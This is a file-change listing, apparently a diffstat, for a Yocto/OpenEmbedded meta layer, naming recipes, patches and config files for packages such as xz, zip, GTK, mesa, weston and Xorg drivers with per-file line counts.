-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch145
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb4
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb29
-rw-r--r--meta/recipes-extended/xz/xz/run-ptest26
-rw-r--r--meta/recipes-extended/xz/xz_5.2.5.bb43
-rw-r--r--meta/recipes-extended/xz/xz_5.4.6.bb69
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch134
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch96
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch35
-rw-r--r--meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch2
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb11
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch39
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.5.bb47
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_3.36.3.bb20
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_46.0.bb43
-rw-r--r--meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch9
-rw-r--r--meta/recipes-gnome/epiphany/files/distributor.patch24
-rw-r--r--meta/recipes-gnome/epiphany/files/migrator.patch32
-rw-r--r--meta/recipes-gnome/gcr/gcr/0001-meson-Make-sure-gcr-oids.h-is-built.patch36
-rw-r--r--meta/recipes-gnome/gcr/gcr/0001-meson.build-correctly-set-internal-vapi-dependencies.patch45
-rw-r--r--meta/recipes-gnome/gcr/gcr_3.36.0.bb34
-rw-r--r--meta/recipes-gnome/gcr/gcr_4.2.1.bb58
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch38
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-meson.build-allow-a-subset-of-tests-in-cross-compile.patch66
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch94
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch39
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/fatal-loader.patch22
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch30
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb132
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.10.bb119
-rw-r--r--meta/recipes-gnome/gi-docgen/gi-docgen_2023.3.bb21
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch27
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch86
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_3.36.1.bb43
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_46.0.bb29
-rw-r--r--meta/recipes-gnome/gnome/gconf_3.2.6.bb19
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch8
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-gir-add-a-dependency-for-g-ir-compiler-for-building-.patch33
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch28
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.64.1.bb203
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.78.1.bb194
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch33
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.36.1.bb18
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_46.0.bb15
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3.inc90
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch47
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch57
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch872
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/link_fribidi.patch19
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/opengl.patch738
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.21.bb19
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.41.bb17
-rw-r--r--meta/recipes-gnome/gtk+/gtk4_4.14.1.bb130
-rw-r--r--meta/recipes-gnome/gtk-doc/files/0001-Don-t-use-docdir-from-environment.patch24
-rw-r--r--meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch2
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb62
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb65
-rw-r--r--meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb4
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.4.4.bb33
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.8.0.bb31
-rw-r--r--meta/recipes-gnome/libadwaita/libadwaita_1.5.0.bb27
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.36.0.bb20
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb18
-rw-r--r--meta/recipes-gnome/libgudev/libgudev/0001-meson-Pass-export-dynamic-option-to-linker.patch38
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_233.bb23
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_238.bb34
-rw-r--r--meta/recipes-gnome/libhandy/libhandy_1.8.3.bb27
-rw-r--r--meta/recipes-gnome/libhandy/libhandy_git.bb21
-rw-r--r--meta/recipes-gnome/libnotify/libnotify_0.7.9.bb28
-rw-r--r--meta/recipes-gnome/libnotify/libnotify_0.8.3.bb35
-rw-r--r--meta/recipes-gnome/libportal/libportal_0.7.1.bb20
-rw-r--r--meta/recipes-gnome/librsvg/librsvg-crates.inc546
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch35
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch44
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch30
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/gtk-option.patch60
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.40.20.bb50
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.57.1.bb79
-rw-r--r--meta/recipes-gnome/libsecret/files/0001-meson-add-option-introspection.patch137
-rw-r--r--meta/recipes-gnome/libsecret/libsecret_0.20.3.bb28
-rw-r--r--meta/recipes-gnome/libsecret/libsecret_0.21.4.bb25
-rw-r--r--meta/recipes-gnome/libxmlb/libxmlb/0001-xb-selftest.c-hardcode-G_TEST_SRCDIR.patch32
-rw-r--r--meta/recipes-gnome/libxmlb/libxmlb/run-ptest3
-rw-r--r--meta/recipes-gnome/libxmlb/libxmlb_0.3.17.bb25
-rw-r--r--meta/recipes-graphics/builder/builder_0.1.bb6
-rw-r--r--meta/recipes-graphics/cairo/cairo/CVE-2018-19876.patch34
-rw-r--r--meta/recipes-graphics/cairo/cairo/CVE-2019-6461.patch19
-rw-r--r--meta/recipes-graphics/cairo/cairo/CVE-2019-6462.patch20
-rw-r--r--meta/recipes-graphics/cairo/cairo/cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff2
-rw-r--r--meta/recipes-graphics/cairo/cairo_1.16.0.bb98
-rw-r--r--meta/recipes-graphics/cairo/cairo_1.18.0.bb86
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb18
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb25
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0.inc49
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch143
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch19
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch30
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-ptest3
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb10
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0.inc17
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch33
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb7
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0.inc18
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch37
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb7
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0.inc84
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch92
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb6
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.102.bb58
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.120.bb59
-rw-r--r--meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb70
-rw-r--r--meta/recipes-graphics/fontconfig/fontconfig_2.15.0.bb69
-rw-r--r--meta/recipes-graphics/freetype/freetype/use-right-libtool.patch14
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.10.2.bb47
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.13.2.bb45
-rw-r--r--meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch56
-rw-r--r--meta/recipes-graphics/glew/glew/no-strip.patch2
-rw-r--r--meta/recipes-graphics/glew/glew/notempdir.patch21
-rw-r--r--meta/recipes-graphics/glew/glew_2.2.0.bb2
-rw-r--r--meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch46
-rw-r--r--meta/recipes-graphics/glslang/glslang_1.3.280.0.bb37
-rw-r--r--meta/recipes-graphics/graphene/files/float-div.patch28
-rw-r--r--meta/recipes-graphics/graphene/graphene_1.10.8.bb29
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_2.6.8.bb44
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_8.3.1.bb48
-rw-r--r--meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb24
-rw-r--r--meta/recipes-graphics/images/core-image-clutter.bb15
-rw-r--r--meta/recipes-graphics/images/core-image-weston-sdk.bb15
-rw-r--r--meta/recipes-graphics/images/core-image-weston.bb10
-rw-r--r--meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch32
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb59
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb58
-rw-r--r--meta/recipes-graphics/kmscube/kmscube/0001-cube-gears-Change-header-file-to-GLES3-gl3.h.patch31
-rw-r--r--meta/recipes-graphics/kmscube/kmscube_git.bb21
-rw-r--r--meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch26
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.10.bb30
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb33
-rw-r--r--meta/recipes-graphics/libfakekey/libfakekey_git.bb6
-rw-r--r--meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb4
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch60
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb81
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.30.1.bb85
-rw-r--r--meta/recipes-graphics/libva/libva-initial_2.20.0.bb8
-rw-r--r--meta/recipes-graphics/libva/libva-initial_2.8.0.bb8
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.20.1.bb32
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.8.0.bb32
-rw-r--r--meta/recipes-graphics/libva/libva.inc16
-rw-r--r--meta/recipes-graphics/libva/libva_2.20.0.bb15
-rw-r--r--meta/recipes-graphics/libva/libva_2.8.0.bb23
-rw-r--r--meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb7
-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch41
-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb40
-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.3.bb38
-rw-r--r--meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb2
-rw-r--r--meta/recipes-graphics/mesa/files/0001-Revert-meson-do-not-pull-in-clc-for-clover.patch53
-rw-r--r--meta/recipes-graphics/mesa/files/0001-drisw-fix-build-without-dri3.patch58
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch7
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch21
-rw-r--r--meta/recipes-graphics/mesa/files/0002-glxext-don-t-try-zink-if-not-enabled-in-mesa.patch42
-rw-r--r--meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch46
-rw-r--r--meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch46
-rw-r--r--meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch147
-rw-r--r--meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch51
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.1.bb30
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.3.bb31
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch377
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0007-Install-few-more-test-programs.patch43
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch99
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch71
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch44
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch62
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb59
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos_8.5.0.bb43
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_20.1.4.bb15
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_24.0.3.bb15
-rw-r--r--meta/recipes-graphics/mesa/mesa.inc343
-rw-r--r--meta/recipes-graphics/mesa/mesa_24.0.3.bb (renamed from meta/recipes-graphics/mesa/mesa_20.1.4.bb)0
-rw-r--r--meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb10
-rw-r--r--meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch20
-rw-r--r--meta/recipes-graphics/mx/mx-1.0_1.4.7.bb16
-rw-r--r--meta/recipes-graphics/mx/mx.inc21
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb22
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb14
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb4
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb8
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb7
-rw-r--r--meta/recipes-graphics/pango/pango/0001-Fix-build-reproducibility.patch31
-rw-r--r--meta/recipes-graphics/pango/pango/0001-Skip-running-test-layout-test.patch45
-rw-r--r--meta/recipes-graphics/pango/pango/run-ptest3
-rw-r--r--meta/recipes-graphics/pango/pango_1.44.7.bb49
-rw-r--r--meta/recipes-graphics/pango/pango_1.52.1.bb53
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-cmake-install-bash-completions-in-the-right-place.patch35
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch32
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-tests-Fix-narrowing-errors-seen-with-clang.patch50
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-utils-Include-libgen.h-on-musl-linux-systems.patch83
-rw-r--r--meta/recipes-graphics/piglit/piglit/0002-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch29
-rw-r--r--meta/recipes-graphics/piglit/piglit/0003-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch27
-rw-r--r--meta/recipes-graphics/piglit/piglit_git.bb36
-rw-r--r--meta/recipes-graphics/pong-clock/pong-clock_1.0.bb2
-rw-r--r--meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch106
-rw-r--r--meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch25
-rw-r--r--meta/recipes-graphics/shaderc/shaderc_2024.0.bb29
-rw-r--r--meta/recipes-graphics/spir/spirv-headers_1.3.280.0.bb20
-rw-r--r--meta/recipes-graphics/spir/spirv-tools_1.3.280.0.bb47
-rw-r--r--meta/recipes-graphics/startup-notification/startup-notification_0.12.bb8
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb41
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb38
-rw-r--r--meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb4
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch36
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch15
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb24
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_1.0.1.bb33
-rw-r--r--meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch68
-rw-r--r--meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch1664
-rw-r--r--meta/recipes-graphics/vulkan/assimp_5.0.1.bb23
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch98
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-demos_git.bb44
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.2.135.0.bb19
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.3.280.0.bb28
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.2.135.0.bb38
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.3.280.0.bb43
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-Deprecate-u8string_view.patch59
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-Do-not-use-LFS64-functions-on-linux-musl.patch37
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch43
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/32bit.patch101
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples_git.bb39
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.2.135.0.bb31
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.3.280.0.bb37
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.280.0.bb33
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.280.0.bb49
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-volk_1.3.280.0.bb37
-rw-r--r--meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch40
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.6.1.bb39
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.8.0.bb50
-rw-r--r--meta/recipes-graphics/wayland/libinput/determinism.patch21
-rw-r--r--meta/recipes-graphics/wayland/libinput/run-ptest2
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.16.0.bb50
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.25.0.bb49
-rw-r--r--meta/recipes-graphics/wayland/mtdev_1.1.6.bb18
-rw-r--r--meta/recipes-graphics/wayland/mtdev_1.1.7.bb17
-rw-r--r--meta/recipes-graphics/wayland/required-distro-features.inc8
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.20.bb22
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.34.bb25
-rw-r--r--meta/recipes-graphics/wayland/wayland-utils_1.2.0.bb22
-rw-r--r--meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch21
-rw-r--r--meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch115
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-Consider-pkgconfig-sysroot-for-pkgdatadir.patch46
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch26
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch27
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.18.0.bb62
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.22.0.bb62
-rw-r--r--meta/recipes-graphics/wayland/weston-init.bb103
-rw-r--r--meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules2
-rw-r--r--meta/recipes-graphics/wayland/weston-init/init3
-rw-r--r--meta/recipes-graphics/wayland/weston-init/qemuall/weston.ini2
-rw-r--r--meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini0
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston-autologin11
-rwxr-xr-xmeta/recipes-graphics/wayland/weston-init/weston-socket.sh20
-rwxr-xr-xmeta/recipes-graphics/wayland/weston-init/weston-start41
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.ini6
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.service71
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.socket14
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston@.service15
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-libweston-tools-Include-libgen.h-for-basename-signat.patch48
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch198
-rw-r--r--meta/recipes-graphics/wayland/weston/systemd-notify.weston-start9
-rw-r--r--meta/recipes-graphics/wayland/weston/xwayland.weston-start5
-rw-r--r--meta/recipes-graphics/wayland/weston_13.0.0.bb146
-rw-r--r--meta/recipes-graphics/wayland/weston_8.0.0.bb112
-rw-r--r--meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb15
-rw-r--r--meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb8
-rw-r--r--meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb6
-rw-r--r--meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb21
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontscale_1.2.3.bb21
-rw-r--r--meta/recipes-graphics/xorg-app/rgb_1.0.6.bb16
-rw-r--r--meta/recipes-graphics/xorg-app/rgb_1.1.0.bb16
-rw-r--r--meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb4
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.3.bb15
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.bb15
-rw-r--r--meta/recipes-graphics/xorg-app/xdpyinfo_1.3.2.bb20
-rw-r--r--meta/recipes-graphics/xorg-app/xdpyinfo_1.3.4.bb20
-rw-r--r--meta/recipes-graphics/xorg-app/xev/diet-x11.patch109
-rw-r--r--meta/recipes-graphics/xorg-app/xev_1.2.3.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xev_1.2.6.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.3.0.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xhost_1.0.8.bb20
-rw-r--r--meta/recipes-graphics/xorg-app/xhost_1.0.9.bb21
-rw-r--r--meta/recipes-graphics/xorg-app/xinit_1.4.1.bb25
-rw-r--r--meta/recipes-graphics/xorg-app/xinit_1.4.2.bb26
-rw-r--r--meta/recipes-graphics/xorg-app/xinput_1.6.3.bb12
-rw-r--r--meta/recipes-graphics/xorg-app/xinput_1.6.4.bb13
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb19
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.7.bb19
-rw-r--r--meta/recipes-graphics/xorg-app/xmodmap_1.0.10.bb16
-rw-r--r--meta/recipes-graphics/xorg-app/xmodmap_1.0.11.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xorg-app-common.inc7
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.4.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.7.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb19
-rw-r--r--meta/recipes-graphics/xorg-app/xrandr_1.5.2.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xset/disable-xkb.patch23
-rw-r--r--meta/recipes-graphics/xorg-app/xset_1.2.4.bb19
-rw-r--r--meta/recipes-graphics/xorg-app/xset_1.2.5.bb20
-rw-r--r--meta/recipes-graphics/xorg-app/xvinfo_1.1.4.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xvinfo_1.1.5.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xwininfo_1.1.5.bb15
-rw-r--r--meta/recipes-graphics/xorg-app/xwininfo_1.1.6.bb16
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-keyboard_1.9.0.bb13
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb11
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.4.0.bb12
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.3.bb14
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-mouse_1.9.5.bb14
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch51
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb18
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.2.bb17
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb26
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.2.0.bb27
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.5.3.bb13
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-cirrus_1.6.0.bb14
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch505
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch27
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb19
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch52
